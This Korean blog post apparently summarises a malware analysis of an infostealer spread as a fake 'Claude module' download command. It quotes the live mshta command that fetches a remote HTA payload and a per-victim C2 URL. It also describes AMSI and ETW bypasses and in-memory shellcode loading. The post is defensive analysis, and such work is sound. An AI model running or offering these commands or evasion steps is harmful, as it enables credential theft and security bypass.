SWUFORCE/기술 스터디

AI 열풍 뒤의 그림자: Claude 모듈로 위장한 악성코드

amy06s 2026. 5. 6. 17:19

AI 열풍 뒤의 그림자: Claude 모듈로 위장한 악성코드

 

AI 열풍 뒤의 그림자: Claude 모듈로 위장한 악성코드

1. 개요 최근 LLM(Large Language Model) 기반의 생성형 AI 시장이 빠르게 성장하면서 다양한 AI 서비스와 모델이 등장하고 있다. OpenAI의 ChatGPT, Google의 Gemini, Anthropic의 Claude 등 여러 기업들이 경쟁적으로

blog.plainbit.co.kr

1. 개요 

  • LLM(Large Language Model) 기반의 생성형 AI 시장이 빠르게 성장하며 다양한 AI 서비스와 모델 등장
  • ChatGPT, Gemini, Claude 등 기업 환경뿐만 아니라 공공기관, 개인사용자까지 폭넓게 활용
  • 문서작성, 프로그래밍, 데이터 분석 등 다양한 업무 자동화함으로써 생산성 향상
  • but 생성형 AI의 높은 관심도를 악용한 공격 사례도 지속적으로 증가
  • 가짜 AI 서비스 사이트, 악성코드를 포함한 AI 애플리케이션, AI 플러그인 설치 프로그램 등

ex) Claude AI 모듈을 다운로드하는 명령으로 위장한 악성 명령 공유 사례(실행 시 악성코드로 인해 시스템 정보 탈취)

이러한 악성코드 실행 과정 분석

 

2. 악성코드 동작흐름

악성코드 동작 개요도

1) 악성 명령 실행

C:\Windows\SysWOW64\mshta.exe https://download-version.4-1-7.com/claude

명령 실행 시 mshta.exe 프로그램을 통해 공격자가 운영하는 악성 도메인에 위치한 HTA(HTML Application) 파일을 실행하도록 구성

공격자는 mshta.exe와 같은 윈도우 운영체제의 기본 프로그램을 활용하는 LotL(Living off the Land) 공격과 파일 저장을 하지 않고 악성 도메인의 HTA 코드를 바로 실행하는 Fileless 공격을 통해 보안 솔류션 탐지 회피

 

2) VBScript(claude) 실행

  • 악성 도메인에서 제공하는 HTA 코드의 앞부분에는 관련 없는 무의미한 대량 데이터 포함
  • => 이러한 데이터의 목적은 파일 크기를 비정상적으로 증가시키거나 파일 헤더 변조로 보안 솔루션 탐지 회피 목적
  • 실제 코드가 있는 영역으로 이동하면 HTA 기반 악성 VBScript 코드 존재
  • 해당 VBScript는 SetArreares 함수에서 IsBear 함수를 호출해 Hex값을 ASCII 문자열로 변환 후 변환된 문자열을 DefineSplit 함수로 Base64로 디코딩
  • 이후 디코딩된 PowerShell 명령을 StartBarter 함수로 작업 스케줄러로 등록

HTA 코드 내 Hex로 인코딩된 악성 페이로드 중 일부

3) 악성 작업 스케줄러 등록

  • 악성 VBScript 실행이 완료되면 시스템에 악성 작업 스케줄러(servicelhb)가 등록됨
  • 등록된 스케줄러는 등록 시점부터 9초동안 Base64로 인코딩된 PowerShell 명령을 백그라운드에서 실행

등록된 악성 작업 스케줄러

4) 인코딩된 PowerShell 악성코드 실행

  • 작업 스케줄러에 의해 실행되는 Base64로 인코딩된 PowerShell 명령을 디코딩하면 악성코드 초반에 8초 동안 실행 대기하고 동작하지 않거나, 의미없는 연산만 수행하면서 정상 스크립트처럼 위장하는 더미 코드(Junk Code)를 포함함
  • 더미 코드 이후 Base64로 인코딩된 추가 PowerShell 페이로드가 포함되어 있으며 해당 페이로드를 디코딩해 실행

디코딩된 PowerShell 명령 내 Base64 인코딩된 추가 PowerShell 페이로드

  • 추가 페이로드 실행 시 감염된 시스템 시별을 위한 고유 ID 생성
  • 고유 ID는 호스트명과 사용자명을 합친 문자열을 HTF-8로 변환한 뒤 MD5 해시 값 생성
  • 생성된 MD5 해시 값에서 '-' 문자를 제거하고, 소문자로 변환해 앞16자리를 사용

고유 ID 생성 코드

COMPUTERNAME: PC01
USERNAME: PLAINBIT

MD5: 376657f298bf576911d589e2f640693d
고유 ID: 376657f298bf5769
  • 생성된 고유 ID를 서브 도메인으로 구성한 악성 도메인 URL이 생성됨
  • 공격자는 서브 도메인에 감염된 시스템별 고유 ID를 넣어 감염된 시스템 식별 및 감염 시스템별 다른 페이로드 실행 가능
https://<감염ID>.brambleufer.ru/cloude-91267b64-989f-49b4-89b4-984e0154d4d1
  • 생성된 URL을 통해 추가 악성 도메인으로부터 PowerShell 스크립트의 내용을 다운로드하고, 보안 솔루션에서 탐지하기 어렵도록 메모리에서 실행

 

5) 난독화된 PowerShell 악성코드 실행

  • 악성 도메인에서 추가로 다운로드 후 실행하는 페이로드는 아래와 같은 다양한 난독화 기법이 적용되어 있어 코드 실제 동작 파악이 어렵도록 구성되어 있음
난독화 기법 설명
Arithmetic Obfuscation 숫자를 그대로 입력하지 않고, 불필요한 산술 연산을 통해 코드 난독화
Junk Code 실행 결과에 영향을 주지 않는 동작으로 코드 난독화
Random Variable Name 변수 명을 랜덤으로 설정해 코드 난독화
Division 문자를 분할하고 결합해 코드 난독화
Recorder 문자 결합 시 순서를 지정해 코드 난독화
Ascii Char Assigns 코드 문자열에 해당하는 Ascii 코드를 사용해 난독화
Encoding Byte 값을 UTF-8 문자열로 반환 후 Base64
Encryption XOR 연산을 통해 문자열 암호화해 코드 난독화

 

  • 난독화된 PowerShell 악성코드에 포함되어 있는 더미 코드를 제외하고 실제 악성 행위 수행하는 코드를 연산한 뒤에 해당하는 ASCII 코드 값으로 변환

난독화된 악성코드 복호화 과정

  • 변환된 ASCII 코드를 결합하면 아래처럼 복호화된 악성코드 획득
  • 해당 악성코드는 $JPtDaKYGoAED 변수에 저장되어 있는 페이로드를 UTF-8 문자열로 변환한 뒤 Base64 코딩 수행
  • 이후 AMSI_NOT_DETECTED 문자열을 키로 사용해 XOR 복호화한 결과를 PowerShell ScriptBlock 형태로 생성하고 메모리에서 실행함
  • 추가 페이로드 복호화 실행 코드
  • amsi.dll의 내부 함수(Amsilnitialize)를 항상 정상 결과(AMSI_RESULT_CLEAN)를 반환하도록 수정해 AMSI 검사 무력화
  • mtdll.dll 내부 함수(EtsEventWrite)를 동작하지 않도록 수정해 이벤트 로깅 기능 무력화

 

  • 이후 $mingsfqwo86h8qsbk 변수에 저장되어 있는 페이로드를 모듈러 연산 후 XOR 복호화 수행
  • 복호화된 결과 값 앞의 378Byte와 뒤의 9Byte를 제거한 문자열을 PowerShell ScriptBlock형태로 생성해 메모리에서 실행

  • 추가로 실행되는 악성코드는 $cqlptgx5d7vlrgs 변수에 저장되어 있는 페이로드를 KEY 값을 변환하면서 XOR 복호화 수행
  • 복호화하면 아래와 같은 ShellCode가 메모리에 실행되고 복호화된 페이로드를 다시 XOR로 암호화해 보안 솔루션 탐지를 회피함

ShellCode 일부

6) ShellCode 실행

  • 메모리에서 실행되는 ShellCode는 새로운 메모리 할당 및 할당한 메모리에 다른 주소에 존재하는 페이로드 데이터 복사
  • 복사한 페이로드는 XOR로 복호화 및 재정렬 과정을 통해 악성 파일 데이터로 메모리에 저장됨
  • 최종적으로 악성 코드는 시스템 내 정보를 탈취하는 인포스틸러 기능을 수행하며, 악성 C2 서버로 탈취한 정보를 전송함

3. 결론

  • 생성형 AI의 열풍은 편의성과 생산성을 향상시키는 동시에 새로운 공격 수단으로 활용되고 있음
  • 분석한 악성코드처럼 파일 형태가 아니라 메모리에서 실행되는 Fileless 공격 방식은 백신에서 탐지되기 어려움

==> 다음 수칙 준수가 필요

 

검증된 경로에서 파일 다운로드

  • 모든 파일은 공식 사이트나 신뢰가능한 경로로만 다운로드
  • 출처를 알 수 없다면 지양

검증된 명령어 실행

  • 웹사이트에 게시된 터미널 명령어를 검증하지 않고 실행하는 행위 지양

지속적인 호스트 모니터링

  • 시스템에 악성 스케줄러 등록, 알 수 없는 인코딩된 명령 실행, 악성 도메인으로부터 접근 이력 등 지속적인 모니터링 필요